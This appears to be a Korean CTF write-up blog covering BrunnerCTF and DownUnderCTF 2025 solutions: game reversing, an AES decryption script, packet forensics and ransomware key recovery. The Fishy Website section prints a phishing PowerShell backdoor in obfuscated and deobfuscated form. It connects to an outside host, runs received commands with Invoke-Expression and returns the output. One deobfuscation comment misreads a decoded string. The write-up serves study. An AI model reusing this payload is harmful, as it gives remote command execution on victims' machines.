brunnerctf\rev_un-pirateable-baking-game-2\UTMT_CLI_v0.8.3.0-Windows>UndertaleModCli.exe dump ..\data.win -o ..\dump -c UMT_DUMP_ALL
Trying to load file: 'brunnerctf\rev_un-pirateable-baking-game-2\data.win'
The game was made with YYC (YoYo Compiler), which means that the code was compiled into the executable. There is thus no code to dump. Exiting.

실행 시 스팀 클라이언트가 켜지며, spacewar게임을 설치하려 합니다.

관련 게임을 살펴보니, 밸브의 오래된 게임이었습니다.

분석 과정

Un-Pirateable Baking Game의 플래그 출력 스크립트에 나온 문자열을 기준으로 검색해보니, 같은 문자열이 나왔습니다.

문자열에 대해 xref를 잘 찾아보니 복잡한 함수가 나왔습니다.

게임에 디버거를 붙여 실행한 후 한 줄씩 실행하며 스팀 관련 초기화 함수를 찾아 우회했습니다.

똑같은 화면이 뜨며 라이선스 코드를 검사합니다. 지난번 스크립트를 보면 스팀id등을 비교했기 때문에, 어떤 값을 입력하더라도 패스는 불가능합니다.

프로그램 내부 문자열중 의미심장한곳을 찾아 브레이크포인트를 걸면, 같은 위치에서 루프를 걸어가면서 모든 함수를 호출하는것을 볼 수 있습니다.

의미심장한 함수 예시이며, gml_Object_Game_KeyPress_1이라는 문자열을 사용하고 있었습니다. 라이선스 키 입력받는 함수였습니다.

다음 위치에서 비슷한 함수들을 호출하고 있었습니다.

함수 시작 위치에서 잘 보면 rax가 스크립트 이름, r10이 함수 위치로 설정된 것을 볼 수 있습니다.

플래그 출력하는 함수의 시작 부분으로 rip를 옮긴 후, rax와 r10을 조절하면 플래그 출력이 이루어집니다. (일부 조건은 우회해야합니다.)

Un-Pirateable Baking Game에서 얻은 플래그 출력 함수인 gml_Object_End_Draw_64를 기준으로 함수를 찾아, rip, rax, r10을 수정합니다. (사실 rax는 함수 시작 후 바로 덮어써지므로 수정하지 않아도 됩니다.)

계속 진행하다보면 기존 스크립트처럼 분기가 몇 개 있는데, 시행착오를 거쳐가면서 수정할 지점을 알아가면 됩니다. | 분기는 560a 및 57c2에 있습니다.

기존 로직의 xor을 키워드로 계속 넘어가다보면, 한 글자씩 문자열을 복호화하는 부분을 찾을 수 있습니다.

Bake to the Future

문제 상황

Bake and Forth와 비슷한 문제이나, 단순한 로직이 아닌 복잡한 로직이 들어있었습니다.

분석 과정

(gdb) b *0x40000b
Breakpoint 1 at 0x40000b
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>silent
>x/i 0x400000
>continue
>end

위 스크립트로 어셈블리를 뽑아냈습니다.

정규식을 통해 보기 쉽게 다듬은 후, gpt를 돌렸습니다.

AES 일부 라운드만을 돌려주는 프로그램이라고 합니다.

# brunner.bin → recovered.bin 복구 스크립트

from pathlib import Path
import sys

# --- 표준 AES S-box ---
SBOX = [
    0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,
    0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,
    0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,
    0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,
    0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,
    0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,
    0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,
    0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,
    0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,
    0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,
    0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,
    0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,
    0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,
    0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,
    0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,
    0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16,
]
# InvSBox는 SBOX의 역함수
INV_SBOX = [0]*256
for i, v in enumerate(SBOX):
    INV_SBOX[v] = i

def add_round_key(s: bytes, k: bytes) -> bytes:
    return bytes(a ^ b for a, b in zip(s, k))

def sub_bytes(s: bytes) -> bytes:
    return bytes(SBOX[b] for b in s)

def inv_sub_bytes(s: bytes) -> bytes:
    return bytes(INV_SBOX[b] for b in s)

def shift_rows(s: bytes) -> bytes:
    # column-major: r0=[0,4,8,12], r1=[1,5,9,13], r2=[2,6,10,14], r3=[3,7,11,15]
    s = list(s)
    r0 = [s[0], s[4], s[8],  s[12]]
    r1 = [s[1], s[5], s[9],  s[13]]
    r2 = [s[2], s[6], s[10], s[14]]
    r3 = [s[3], s[7], s[11], s[15]]
    def rot_left(x,n): n%=4; return x[n:]+x[:n]
    r0, r1, r2, r3 = rot_left(r0,0), rot_left(r1,1), rot_left(r2,2), rot_left(r3,3)
    out = [0]*16
    out[0], out[4], out[8],  out[12] = r0
    out[1], out[5], out[9],  out[13] = r1
    out[2], out[6], out[10], out[14] = r2
    out[3], out[7], out[11], out[15] = r3
    return bytes(out)

def inv_shift_rows(s: bytes) -> bytes:
    # 오른쪽 순환(역방향)
    s = list(s)
    r0 = [s[0], s[4], s[8],  s[12]]
    r1 = [s[1], s[5], s[9],  s[13]]
    r2 = [s[2], s[6], s[10], s[14]]
    r3 = [s[3], s[7], s[11], s[15]]
    def rot_right(x,n): n%=4; return x[-n:]+x[:-n] if n else x
    r0, r1, r2, r3 = rot_right(r0,0), rot_right(r1,1), rot_right(r2,2), rot_right(r3,3)
    out = [0]*16
    out[0], out[4], out[8],  out[12] = r0
    out[1], out[5], out[9],  out[13] = r1
    out[2], out[6], out[10], out[14] = r2
    out[3], out[7], out[11], out[15] = r3
    return bytes(out)

def gf_mul(a: int, b: int) -> int:
    """GF(2^8), 모듈러스 x^8+x^4+x^3+x+1 (0x11B)"""
    res = 0
    for _ in range(8):
        if b & 1:
            res ^= a
        hi = a & 0x80
        a = ((a << 1) & 0xFF)
        if hi:
            a ^= 0x1B
        b >>= 1
    return res

def mix_columns(s: bytes) -> bytes:
    s = list(s)
    out = [0]*16
    for c in range(4):
        i = 4*c
        a0,a1,a2,a3 = s[i],s[i+1],s[i+2],s[i+3]
        out[i+0] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3
        out[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3
        out[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3)
        out[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2)
    return bytes(out)

def inv_mix_columns(s: bytes) -> bytes:
    s = list(s)
    out = [0]*16
    for c in range(4):
        i = 4*c
        a0,a1,a2,a3 = s[i],s[i+1],s[i+2],s[i+3]
        out[i+0] = gf_mul(a0,0x0e) ^ gf_mul(a1,0x0b) ^ gf_mul(a2,0x0d) ^ gf_mul(a3,0x09)
        out[i+1] = gf_mul(a0,0x09) ^ gf_mul(a1,0x0e) ^ gf_mul(a2,0x0b) ^ gf_mul(a3,0x0d)
        out[i+2] = gf_mul(a0,0x0d) ^ gf_mul(a1,0x09) ^ gf_mul(a2,0x0e) ^ gf_mul(a3,0x0b)
        out[i+3] = gf_mul(a0,0x0b) ^ gf_mul(a1,0x0d) ^ gf_mul(a2,0x09) ^ gf_mul(a3,0x0e)
    return bytes(out)

# --- 고정 라운드키 (ASCII 그대로 16바이트) ---
RK = [
    b"One_DoughLorean_",  # round 1
    b"MartyMcPie_With_",  # round 2
    b"Doc_Brown_Sugar!",  # round 3
]
assert all(len(k)==16 for k in RK)

def decrypt_block(ct: bytes) -> bytes:
    """한 블록(16B) 복구"""
    s = ct
    # round 3 → 2 → 1
    for rk in (RK[2], RK[1], RK[0]):
        s = inv_mix_columns(s)
        s = inv_shift_rows(s)
        s = inv_sub_bytes(s)
        s = add_round_key(s, rk)
    return s

def decrypt_file(in_path: Path, out_path: Path):
    data = in_path.read_bytes()
    if len(data) % 16 != 0:
        raise ValueError(f"입력 길이가 16의 배수가 아님: {len(data)} bytes")
    out = bytearray()
    for off in range(0, len(data), 16):
        out += decrypt_block(data[off:off+16])
    out_path.write_bytes(bytes(out))
    print(f"[+] 복구 완료: {out_path} ({len(out)} bytes)")
    # 보기 좋게 일부 출력
    try:
        txt = bytes(out).decode("utf-8")
        print("[*] UTF-8로 해석한 내용(일부):")
        print(txt if len(txt)<=200 else txt[:200]+"...")
    except Exception:
        pass

if __name__ == "__main__":
    in_file  = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("brunner.bin")
    out_file = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("recovered.bin")
    decrypt_file(in_file, out_file)

The Cinnamon Packet

문제 상황

알 수 없는 패킷을 1 -> 2 -> 3 -> 1로 돌아가면서 보내고 있었습니다.

분석 과정

for index, i in enumerate(q):
    line = ""
    line += chr(int(i.tcp.srcport, 16) >> 8)
    line += chr(int(i.tcp.srcport, 16) & 0xFF)
    line += chr(int(i.tcp.checksum, 16) >> 8)
    line += chr(int(i.tcp.checksum, 16) & 0xFF)
    line += chr(int(i.tcp.window_size, 16) & 0xFF)
    line += chr(int(i.tcp.len))
    line += chr(int(i.tcp.seq_raw, 16) >> 8)
    line += chr(int(i.tcp.seq_raw, 16) & 0xFF)
    line += "".join(
        [
            chr(int(i.tcp.segment_data[x : x + 2], 16))
            for x in range(0, len(i.tcp.segment_data), 3)
        ]
    )
    if "{" in line:
        print(index)

pyshark를 통해 여러 패킷을 다양한 필터링을 걸고, 다양하게 복호화 했으나 플래그가 나오지 않았습니다.

계속 보다 보니, 10.0.0.2가 보낸 패킷의 tcp.flags 일부가 0x002, 0x202, 0x402, 0x602로 표시되는것을 보았습니다.

0x002 -> 00, 0x202 -> 01, 0x402 -> 10, 0x602 -> 11로 변환하여 풀 수 있었습니다.

The Real Windows Experience

문제 상황

리눅스를 윈도우처럼 쓰는 사람이 바이러스에 걸렸다고 합니다. 내용을 보니 wine프로그램으로 프로그램을 사용하던 중 바이러스에 걸렸습니다.

분석 과정

다운로드에 애플뮤직 인스톨러가 있어 바이러스토탈에 돌려보니 바이러스 의심이라는 내용의 코멘트가 있었습니다.

관련해서 살펴봤는데 아무것도 나오지 않았었습니다.

wine내부 파일들을 전부 분석했지만 별 내용이 없었습니다.

알고보니 파일 카빙을 진행하는거라고 합니다.

풀이

Find the encrypted DOCX file in Documents.
Find update.exe mentioned in the recently-used.xbel (/home/oliver/.local/share/recently-used.xbel) file. It’s the malware and has been run with Wine.
Find the only carved .exe file in the volume using Autopsy, this is the malware - it’s not present in the filesystem anywhere.
Notice that the update.exe that most carving tools get is a pain to reverse, leading to the hint in the description. Find the file in the raw disk dump with a hexeditor. See that the file is actually a lot longer in the raw disk dump and dump the entire file. If not you loose all symbols.
Reverse the update.exe file, written in Nim, to understand that it creates a key using epochtime hashed with SHA-256 and AES encrypts the file.
- Epoch time is 1754665142
- Key is then 0ba2721f8aa3dfa0dabb894077fa7394a0f05150e9cee8546be3e2a9eeba5288
Either find hardcoded IV or discover that it is prepended to the file.
- IV is 04a51607f00142030c0dbe0f08092a5b
Create decrypter and use timestamp of .enc file creation. The timestamp is converted to hex (upper case) and left padded with 0s until 16 bytes long, before being hashed.

작성자의 글

참조

DownUnderCTF 2025 문제풀이 및 오답노트

Mon, 28 Jul 2025 02:14:00 +0000

배경

RubiyaLab CTF팀으로 DownUnderCTF 2025에 참여하게 되었습니다.

기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)

문제 목록

푼 순서대로

Fishy Website - misc 점수 - 112점, 푼 팀 - 211/1242팀
godot - rev 점수 - 180점, 푼 팀 - 96/1242팀
YoDawg - misc 점수 - 147점, 푼 팀 - 141/1242팀

Unsolved

dualzip - misc 점수 - 449점, 푼 팀 - 3/1242팀
SwiftPasswordManager: LoadMe - rev 점수 - 253점, 푼 팀 - 41/1242팀

Fishy Website

문제 상황

사이트 주소와 wireshark 패킷 파일이 주어지면서, 로그인을 시도했더니 컴퓨터가 이상해졌다는 문제가 주어졌습니다.

사이트에 접속해보니 로그인 창이 떴으며, 어떤 값을 입력하고 로그인 버튼을 누르면 Win + R 및 특정 커멘드를 쳐서 2차 인증을 하라는 피싱 사이트였습니다.

분석 과정

Win + R을 통해 주어진 스크립트를 실행하면, .../verify/script에 접속해 스크립트를 실행하게 되어 있었습니다.

.../verify/script에는 위와 같은 코드가 있었으며, 다음처럼 복호화 하였습니다.

               $BBB88B8B888BBB88 = 0xf1,
                  0x6e,
    0xcd,
 0xc6,0x79,0x4c,0x66,0xd1,0x02,
          0xf8,0x33,0xc4,0x86,
                 0xe7,0xa4,
                      0x35,0x8d,
  0x69,0xbd,0xd2,0x1d,0x50,0xf5,0xfb,0xdf,0xec,0xaf,
     0x0b,0x9e,0x53,
    0xa4,0xd3
  function IIlIlIlIllIIllIl {
     param([int[]]$BBBB8888BBBBB8BB, [int]$BB8BB8B8BBB8B8B8)
                    $B8B8B8B8B8B8B8BB = ""
             foreach ($B888BB88888BBBBB in $BBBB8888BBBBB8BB) {
                        $B8B8B8B8B8B8B8BB += [char]($B888BB88888BBBBB -bxor $BB8BB8B8BBB8B8B8)
           }
                         return $B8B8B8B8B8B8B8BB
                  }
    function lIIIlllIIIIllllI {
     param (
                         [byte[]]$B8BBB8B8BB8BBB88,
                 [byte[]]$BBB8BBB8B88B88B8
        )
                 $BBB88BB88BB8BBB8 = 0..255
                 $B888B8BB888BB88B = 0
           for ($B8BB8BBB8BB8BBBB = 0; $B8BB8BBB8BB8BBBB -lt 256; $B8BB8BBB8BB8BBBB++) {
                           $B888B8BB888BB88B = ($B888B8BB888BB88B + $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB] + $B8BBB8B8BB8BBB88[$B8BB8BBB8BB8BBBB % $B8BBB8B8BB8BBB88.Length]) % 256
                             $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB], $BBB88BB88BB8BBB8[$B888B8BB888BB88B] = $BBB88BB88BB8BBB8[$B888B8BB888BB88B], $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]
     }
                     $B8BB8BBB8BB8BBBB = 0
                    $B888B8BB888BB88B = 0
                        $BBBBB8BBB8BBB88B = @()
           foreach ($BBBB88888B888BBB in $BBB8BBB8B88B88B8) {
                             $B8BB8BBB8BB8BBBB = ($B8BB8BBB8BB8BBBB + 1) % 256
                              $B888B8BB888BB88B = ($B888B8BB888BB88B + $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]) % 256
                            $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB], $BBB88BB88BB8BBB8[$B888B8BB888BB88B] = $BBB88BB88BB8BBB8[$B888B8BB888BB88B], $BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB]
                        $B88BBB888BBB88B8 = $BBB88BB88BB8BBB8[($BBB88BB88BB8BBB8[$B8BB8BBB8BB8BBBB] + $BBB88BB88BB8BBB8[$B888B8BB888BB88B]) % 256]
                       $BBBBB8BBB8BBB88B += ($BBBB88888B888BBB -bxor $B88BBB888BBB88B8)
          }
             return ,$BBBBB8BBB8BBB88B
                }
    function lllIIlIIlIllllll {
                  param ([string]$B888BBBBB8B8B8BB)
              $B888B8B8B88B8BB8 = [System.Text.Encoding]::UTF8.GetBytes($B888BBBBB8B8B8BB)
                   $BBBB8888BBBBB8BB = (lIIIlllIIIIllllI -B8BBB8B8BB8BBB88 $BBB88B8B888BBB88 -BBB8BBB8B88B88B8 $B888B8B8B88B8BB8) + (0x02,0x04,0x06,0x08)
                     $B88BBBBBB888888B = [System.BitConverter]::GetBytes([int16]$BBBB8888BBBBB8BB.Length)
        [Array]::Reverse($B88BBBBBB888888B)
       return (0x17, 0x03, 0x03) + $B88BBBBBB888888B + $BBBB8888BBBBB8BB
                }
             function llIIlllllIIIlllI {
                 $B88B888B8888B888 = (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(168,187,172,183,184,167,240,186,171,169,176,177,176,186,187,172,240,189,177,179) -BB8BB8B8BBB8B8B8 222)
          $BBBB8B8BB888B88B = [System.Text.Encoding]::ASCII.GetBytes($B88B888B8888B888)
            $BB88BBBB88B8888B = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBBB8B8BB888B88B.Length))
                          [Array]::Reverse($BB88BBBB88B8888B)
                       $B88888B888888BB8 = @(0x00) + $BB88BBBB88B8888B + $BBBB8B8BB888B88B
                   $BB8BBBB8B8888BB8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$B88888B888888BB8.Length))
                       [Array]::Reverse($BB8BBBB8B8888BB8)
         $B8888B88BB888B88 = $BB8BBBB8B8888BB8 + $B88888B888888BB8
              $B888B888BBB8B8BB = [byte[]] ([BitConverter]::GetBytes([UInt16]$B8888B88BB888B88.Length))
        [Array]::Reverse($B888B888BBB8B8BB)
                     $B8BB88BBBB8B88B8 = @(0x00,
                0x00) + $B888B888BBB8B8BB + $B8888B88BB888B88
                 $BBBB88B8BB88B88B = @(0x00, 0x0b,0x00,0x04,0x03,0x00,0x01,0x02,
                                 0x00,0x0a,0x00,0x16,0x00,0x14,0x00,0x1d,0x00,0x17,0x00,0x1e,0x00,0x19,0x00,0x18,0x01,0x00,0x01,0x01,0x01,0x02,0x01,0x03,0x01,0x04,
                                            0x00,0x23,0x00,0x00,
                              0x00,0x16,0x00,0x00,
                                      0x00,0x17,0x00,0x00,
                                    0x00,0x0d,0x00,0x1e,0x00,0x1c,0x04,0x03,0x05,0x03,0x06,0x03,0x08,0x07,0x08,0x08,0x08,0x09,0x08,0x0a,0x08,0x0b,0x08,0x04,0x08,0x05,0x08,0x06,0x04,0x01,0x05,0x01,0x06,0x01,
                                      0x00,0x2b,0x00,0x03,0x02,0x03,0x04,
                             0x00,0x2d,0x00,0x02,0x01,0x01,
                                   0x00,0x33,0x00,0x26,0x00,0x24,0x00,0x1d,0x00,0x20,
                          0x35,0x80,0x72,0xd6,0x36,0x58,0x80,0xd1,0xae,0xea,0x32,0x9a,0xdf,0x91,0x21,0x38,0x38,0x51,0xed,0x21,0xa2,0x8e,0x3b,0x75,0xe9,0x65,0xd0,0xd2,0xcd,0x16,0x62,0x54)
           $BB88BB8BB88BB88B = $B8BB88BBBB8B88B8 + $BBBB88B8BB88B88B
          $BBBB8B88888888B8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$BB88BB8BB88BB88B.Length))
         [Array]::Reverse($BBBB8B88888888B8)
     $B8888BBB888B8888 = @(0x03,0x03,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,
                        0x0d,0x0e,0x0f,
               0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,
                        0x18,
               0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0xe0,0xe1,
                   0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,0xed,0xee,0xef,0xf0,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,
                     0xfb,0xfc,0xfd,0xfe,0xff,0x00,0x08,0x13,0x02,0x13,0x03,0x13,0x01,0x00,0xff,0x01,0x00)
          $BB8B8BBBB88B8B8B = $B8888BBB888B8888 + $BBBB8B88888888B8 + $BB88BB8BB88BB88B
             $BB8BBB88B8B8B888 = [byte[]] ([BitConverter]::GetBytes($BB8B8BBBB88B8B8B.Length))
        [Array]::Reverse($BB8BBB88B8B8B888)
     $BBB88BBB888B8B8B = @(0x01) + $BB8BBB88B8B8B888[1..3] + $BB8B8BBBB88B8B8B
        $B88B888B8BB8BBBB = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBB88BBB888B8B8B.Length))
         [Array]::Reverse($B88B888B8BB8BBBB)
                      $BBB888888BB88B88 = @(0x16,
                   0x03, 0x01) + $B88B888B8BB8BBBB + $BBB88BBB888B8B8B
       return ,$BBB888888BB88B88
                 }
 $BBBB8BBBBBB8B88B = New-Object System.Net.Sockets.TcpClient
                    $BBBB8BBBBBB8B88B.Connect((IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(5,7,25,2,25,3,15,25,5,7,7) -BB8BB8B8BBB8B8B8 55), ((50 * 9) - (11 * 2)) + [math]::Pow(2, 3) + [math]::Sqrt(49))
      $BBBB888888B88BBB = $BBBB8BBBBBB8B88B.GetStream()
 $BB88888BB8B8B8BB = llIIlllllIIIlllI
        $BBBB888888B88BBB.Write($BB88888BB8B8B8BB, 0, $BB88888BB8B8B8BB.Length)
        $B8B888BB8B8888BB = New-Object byte[] 16384
          $BBBB888888B88BBB.Read($B8B888BB8B8888BB, 0, $B8B888BB8B8888BB.Length) | Out-Null
                  while ($true) {
              $B8B888BB8B8888BB = New-Object byte[] 16384
      try {
                     $B888BBB8B8B88B8B = $BBBB888888B88BBB.Read($B8B888BB8B8888BB, 0, 16384)
                 } catch {
                    break
              }
                        $BBBB8888BBBBB8BB = $B8B888BB8B8888BB[5..($B888BBB8B8B88B8B - 1)]
                $B8B88B8BB888BBB8 = [System.Text.Encoding]::UTF8.GetString((lIIIlllIIIIllllI -B8BBB8B8BB8BBB88 $BBB88B8B888BBB88 -BBB8BBB8B88B88B8 $BBBB8888BBBBB8BB))
                         if ($B8B88B8BB888BBB8 -eq (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(109,112,97,124) -BB8BB8B8BBB8B8B8 8)) { break }
                      try {
                             $BB88B8B8BBBB888B = (Invoke-Expression $B8B88B8BB888BBB8 2>&1) | Out-String
                      } catch {
                   $BB88B8B8BBBB888B = (IIlIlIlIllIIllIl -BBBB8888BBBBB8BB @(186,141,141,144,141) -BB8BB8B8BBB8B8B8 255)
      }
          $BBBB8BB88BB888B8 = lllIIlIIlIllllll -B888BBBBB8B8B8BB $BB88B8B8BBBB888B.Trim()
                       $BBBB888888B88BBB.Write($BBBB8BB88BB888B8, 0, $BBBB8BB88BB888B8.Length)
            }
              $BBBB888888B88BBB.Close()
                $BBBB8BBBBBB8B88B.Close()

해당 코드는 ai를 통해 난독화 해제하였습니다.

$RC4Key = 0xf1,0x6e,0xcd,0xc6, 0x79, 0x4c, 0x66, 0xd1, 0x02,0xf8, 0x33, 0xc4, 0x86,0xe7, 0xa4,0x35, 0x8d,0x69, 0xbd, 0xd2, 0x1d, 0x50, 0xf5, 0xfb, 0xdf, 0xec, 0xaf, 0x0b, 0x9e, 0x53,0xa4, 0xd3

# RC4 또는 유사한 XOR 기반 암호화/난독화에 사용되는 함수
function XORDecryptBytes {
    param([int[]]$EncryptedBytes, [int]$XORKey)
    $DecryptedString = ""
    foreach ($Byte in $EncryptedBytes) {
        $DecryptedString += [char]($Byte -bxor $XORKey)
    }
    return $DecryptedString
}

# RC4 암호화/복호화 알고리즘의 핵심 로직 (KSA 및 PRGA)
function RC4 {
    param (
        [byte[]]$Key,
        [byte[]]$Data
    )
    $S = 0..255 | ForEach-Object { [byte]$_ } # S-box 초기화
    $j = 0
    for ($i = 0; $i -lt 256; $i++) {
        $j = ($j + $S[$i] + $Key[$i % $Key.Length]) % 256
        $S[$i], $S[$j] = $S[$j], $S[$i] # S-box 스왑
    }
    $i = 0
    $j = 0
    $Output = @()
    foreach ($Byte in $Data) {
        $i = ($i + 1) % 256
        $j = ($j + $S[$i]) % 256
        $S[$i], $S[$j] = $S[$j], $S[$i] # S-box 스왑
        $K = $S[($S[$i] + $S[$j]) % 256]
        $Output += ($Byte -bxor $K) # XOR 연산으로 데이터 복호화/암호화
    }
    return , $Output
}

# 명령을 암호화하여 전송 형식에 맞게 구성하는 함수
function EncodeAndEncryptCommand {
    param ([string]$CommandString)
    $CommandBytes = [System.Text.Encoding]::UTF8.GetBytes($CommandString)
    # RC4 암호화 + 0x02, 0x04, 0x06, 0x08 바이트 추가 (패딩 또는 특정 프로토콜 포맷으로 추정)
    $EncryptedCommandBytes = (RC4 -Key $RC4Key -Data $CommandBytes) + (0x02, 0x04, 0x06, 0x08)
    $LengthBytes = [System.BitConverter]::GetBytes([int16]$EncryptedCommandBytes.Length)
    [Array]::Reverse($LengthBytes) # Little-endian을 Big-endian으로 변환
    # (0x17, 0x03, 0x03) 헤더 + 길이 + 암호화된 명령
    return (0x17, 0x03, 0x03) + $LengthBytes + $EncryptedCommandBytes
}

# 초기 핸드셰이크 또는 초기 데이터 전송을 위한 메시지를 생성하는 함수
function GenerateInitialMessage {
    # "GET / HTTP/1.1" 문자열을 XOR 복호화
    $DecryptedString = (XORDecryptBytes -EncryptedBytes @(168, 187, 172, 183, 184, 167, 240, 186, 171, 169, 176, 177, 176, 186, 187, 172, 240, 189, 177, 179) -XORKey 222) # "GET / HTTP/1.1`r`nHost: "
    $AsciiBytes = [System.Text.Encoding]::ASCII.GetBytes($DecryptedString)
    $LengthBytes1 = [byte[]] ([BitConverter]::GetBytes([UInt16]$AsciiBytes.Length))
    [Array]::Reverse($LengthBytes1)
    $Part1 = @(0x00) + $LengthBytes1 + $AsciiBytes

    $LengthBytes2 = [byte[]] ([BitConverter]::GetBytes([UInt16]$Part1.Length))
    [Array]::Reverse($LengthBytes2)
    $Part2 = $LengthBytes2 + $Part1

    $LengthBytes3 = [byte[]] ([BitConverter]::GetBytes([UInt16]$Part2.Length))
    [Array]::Reverse($LengthBytes3)
    $Part3 = @(0x00, 0x00) + $LengthBytes3 + $Part2

    # 고정된 바이트 배열 (추가적인 프로토콜 헤더 또는 데이터로 추정)
    $FixedBytes = @(0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02, 0x00, 0x0a, 0x00, 0x16, 0x00, 0x14, 0x00, 0x1d, 0x00, 0x17, 0x00, 0x1e, 0x00, 0x19, 0x00, 0x18, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02, 0x01, 0x03, 0x01, 0x04, 0x00, 0x23, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x1e, 0x00, 0x1c, 0x04, 0x03, 0x05, 0x03, 0x06, 0x03, 0x08, 0x07, 0x08, 0x08, 0x08, 0x09, 0x08, 0x0a, 0x08, 0x0b, 0x08, 0x04, 0x08, 0x05, 0x08, 0x06, 0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x00, 0x2b, 0x00, 0x03, 0x02, 0x03, 0x04, 0x00, 0x2d, 0x00, 0x02, 0x01, 0x01, 0x00, 0x33, 0x00, 0x26, 0x00, 0x24, 0x00, 0x1d, 0x00, 0x20, 0x35, 0x80, 0x72, 0xd6, 0x36, 0x58, 0x80, 0xd1, 0xae, 0xea, 0x32, 0x9a, 0xdf, 0x91, 0x21, 0x38, 0x38, 0x51, 0xed, 0x21, 0xa2, 0x8e, 0x3b, 0x75, 0xe9, 0x65, 0xd0, 0xd2, 0xcd, 0x16, 0x62, 0x54)
    $CombinedBytes = $Part3 + $FixedBytes

    $LengthBytes4 = [byte[]] ([BitConverter]::GetBytes([UInt16]$CombinedBytes.Length))
    [Array]::Reverse($LengthBytes4)

    # 또 다른 고정된 바이트 배열
    $AnotherFixedBytes = @(0x03, 0x03, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x00, 0x08, 0x13, 0x02, 0x13, 0x03, 0x13, 0x01, 0x00, 0xff, 0x01, 0x00)

    $FinalCombinedBytes = $AnotherFixedBytes + $LengthBytes4 + $CombinedBytes
    $FinalLengthBytes = [byte[]] ([BitConverter]::GetBytes($FinalCombinedBytes.Length))
    [Array]::Reverse($FinalLengthBytes)
    $ProtocolMessagePart1 = @(0x01) + $FinalLengthBytes[1..3] + $FinalCombinedBytes

    $ProtocolMessageLengthBytes = [byte[]] ([BitConverter]::GetBytes([UInt16]$ProtocolMessagePart1.Length))
    [Array]::Reverse($ProtocolMessageLengthBytes)

